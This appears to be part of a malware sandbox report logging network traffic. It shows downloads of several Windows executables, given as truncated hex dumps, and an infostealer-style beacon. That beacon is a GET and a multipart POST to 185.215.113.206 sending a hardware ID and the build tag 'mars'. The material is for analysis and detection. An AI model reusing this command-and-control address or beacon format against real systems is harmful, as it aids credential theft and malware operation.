00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 22:24:48 GMTContent-Type: application/octet-streamContent-Length: 1881088Last-Modified: Sun, 24 Nov 2024 22:04:34 GMTConnection: keep-aliveETag: "6743a2f2-1cb400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 7d 1f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 65 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 64 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 71 63 6c 7a 6c 6b 65 00 a0 19 00 00 d0 30 00 00 96 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 76 65 64 79 6f 76 00 10 00 00 00 70 4a 00 00 06 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 92 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 39 32 46 41 46 46 42 30 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="hwid"F592FAFFB0A42936050476------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="build"mars------KKEBKJJDGHCBGCAAKEHD--
